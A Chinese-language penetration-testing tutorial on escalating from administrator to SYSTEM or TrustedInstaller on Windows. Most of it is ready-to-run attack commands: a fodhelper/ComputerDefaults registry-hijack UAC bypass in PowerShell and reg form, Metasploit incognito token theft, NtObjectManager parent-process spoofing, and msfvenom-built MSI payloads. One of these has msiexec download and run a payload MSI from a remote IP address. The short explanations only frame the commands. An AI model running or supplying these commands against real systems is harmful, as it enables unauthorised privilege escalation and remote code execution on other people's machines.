前言
NO.1
在渗透测试中,高权限不仅能对更多文件进行增删改查的操作,方便进一步收集主机系统中的敏感信息,system权限也可以提取内存中的密码Hash,为进一步的渗透提供更多信息。
下面介绍三种获取到Windows系统的administrator权限之后提升到system权限的方式。
基于注册表劫持BypassUAC提权
NO.2
BypassUac介绍
在触发UAC时,操作系统会创建一个名为consent.exe的进程,该进程通过白名单和用户选择来确定是否提升权限。请求进程将要提升权限的进程的commandline和程序路径通过LPC(Local Procedure Call)接口传递给appinfo的RAiluanchAdminProcess函数,该函数首先会验证传入程序是否在白名单内同时判断是否弹出UAC窗口,这个UAC框会创建新的安全桌面,屏蔽之前的界面。
同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
通常通过UAC的权限提升需要由用户确认,在不被用户发现的情况下静默的将程序的普通权限提升为管理员权限,从而使程序可以实现一些需要权限的操作被称之为BypassUac。
有一些系统程序是会直接获取管理员权限同时不触发UAC弹窗的,这类程序被称为白名单程序,如fodhelper.exe、ComputerDefaults.exe。
这些程序拥有一个manifest文件,该文件本质上是一个XML文件,用于标识该程序的配置属性。如果程序manifest文件中的配置属性autoElevate为True,并且该程序还具有微软签名,那么这个程序将具有一定的特权,可以绕过UAC提示框直接以管理员权限运行。
示例
以fodhelper.exe程序为例子
可以使用自带的sigcheck.exe查看fodhelper.exe程序的manifest标识文件:
sigcheck.exe -m C:\Windows\System32\fodhelper.exe
运行fodhelper.exe程序没有UAC弹窗
在注册表创建:HKCU:\Software\Classes\ms-settings\Shell\Open\command
在注册表HKCU:\Software\Classes\ms-settings\Shell\Open\command下创建DelegateExecute键,值为空
在注册表HKCU:\Software\Classes\ms-settings\Shell\Open\command下创建Default键,值为要执行的命令
当执行fodhelper.exe程序时,如果注册表中存在HKCU:\Software\Classes\ms-settings\Shell\Open\command键值对,fodhelper.exe会查找HKCU:\Software\Classes\ms-settings\Shell\Open\command\DelegateExecute,若也存在,则会寻找该注册表下的Default,执行该键下对应的命令
基于此原理,在poweshell下,依次执行以下代码,即可绕过UAC获得system权限。
[String]$program = "cmd /c start powershell.exe"
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
同理,在cmd窗口下,依次执行以下命令,即可获取system权限。
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd /c start cmd.exe"
fodhelper.exe
reg delete HKEY_CURRENT_USER\Software\Classes\ms-settings\ /f
如果用其他白名单程序,只需要把运行的程序换成对应的白名单程序即可:
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd /c start cmd.exe"
ComputerDefaults.exe
reg delete HKEY_CURRENT_USER\Software\Classes\ms-settings\ /f
利用token复制提权
NO.3
Token简介
访问令牌是windows用于确定指定进程或线程安全上下文的一种对象
当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌,比如,有些需要用管理员令牌的资源,用普通用户的令牌肯定是访问不到了
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,windows有两种类型的Token:
Delegation token(授权令牌):用于交互会话登录,例如本地用户直接登录、远程桌面登录
Impersonation token(模拟令牌):用户非交互登录,利用net user访问共享文件夹
上面的这两种令牌,都会在系统重启以后被清除,否则将会一直驻留在内存中,而授权令牌则会在用户注销以后自动被转为模拟令牌,但仍然可利用
当前用户只能看到当前用户自己和比自己权限低的所有访问令牌
metasploit中的incognito
在metasploit中,可使用incognito实现token窃取,通过token窃取实现权限的切换
加载incognito
load incognito
列举token
list_tokens -u
查看当前token
getuid
返回之前的token
rev2self
drop_token
system token窃取
impersonate_token "NT AUTHORITY\SYSTEM"
Windows平台下的incognito
incognito.exe list_tokens -u # 列举token
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe # 窃取system token,提权到system
incognito.exe execute -c "当前用户token" cmd.exe # 降权到当前用户
incognito.exe execute -c "WIN-LI6N3TD1TT6\Administrator" cmd.exe
提升到TrustedInstaller权限
在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件
因为Windows系统的最高权限为TrustedInstaller,例如路径C:\Windows\servicing,使用system权限无法在该路径创建文件
启动TrustedInstaller服务会启动进程TrustedInstaller.exe,位置为C:\Windows\servicing\TrustedInstaller.exe,查看该程序权限为:NT SERVICE\TrustedInstaller
Get-Acl -Path .\TrustedInstaller.exe |select Owner
powershell默认不支持Set-NtTokenPrivilege命令,该模块需要下载安装
下载地址:https://www.powershellgallery.com/packages/NtObjectManager/1.1.1
powershell下载安装NtObjectManager模块
在系统 C 盘根目录新建名为 “token” 的文件夹,以管理员身份运行Powershell,然后输入以下命令,回车(如果是第一次安装会出现询问,输入"Y"并回车)
Save-Module -Name NtObjectManager -Path c:\token
下载完成后,输入以下命令正式安装
Install-Module -Name NtObjectManager
稍等片刻,等待安装结束。结束后,导入NtObjectManager模块前,输入以下命令让系统允许使用 Powershell 脚本
Set-ExecutionPolicy Unrestricted
导入模块NtObjectManager
Import-Module NtObjectManager
在powershell中依次输入以下命令获取TrustedInstaller权限
sc.exe start TrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
如下图所示,执行成功后会弹出新的system权限的cmd,使用whoami查看当前cmd权限。发现当前cmd.exe在TrustedInstaller组里,成功获得TrustedInstaller权限
whoami /groups /fo list
利用MSIExec获得System权限
NO.4
msiexec介绍
msiexec:系统进程,是windows Installer的一部分,用于安装widnows Installer安装包(MSI),一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。
系统自带,在命令行下使用,常用命令如下:
msiexec /i F:\安装包\Quicker.x64.1.34.15.0.msi /qb /l*v test.log
/i:安装
F:\安装包\Quicker.x64.1.34.15.0.msi:MSI安装包的全路径
/qb:安静安装(不需要用户点下一步)
/l*v:输出安装日志到test.log文件
# 卸载
msiexec /x {GUID} /q
每个程序安装后,都会有一个GUID号,这个GUID号可以从Assembly.cs中找到。
/x 用于卸载一个程序。/q表示完全安静地安装。
msiexec /x ***.msi /q
也可以通过MSI文件来卸载。其效果和通过GUID号来卸载是一样的。
执行执行msiexec会出现命令参数的详细说明
msi文件制作
可以使用metasploit制作.msi文件,也可以使用Advanced Installer工具。
msfvenom -f msi -p windows/exec CMD=cmd.exe>test.msi
在win10中执行以下命令运行,即可获取system权限
msiexec /q /i test.msi
win10执行的时候如果不加/q参数,就会出现以下弹窗
执行后会在%TEMP%目录下生成MSI的log文件
远程下载执行.msi文件
可以把生成的cmd.msi上传到服务器,远程执行msi获取system权限
msfvenom -f msi -p windows/exec CMD=cmd.exe>cmd.msi
# 远程执行
msiexec /i http://43.138.71.244/cmd.msi /q
参考
NO.5
https://idiotc4t.com/privilege-escalation/bypassuac-fodhelper
声明
NO.6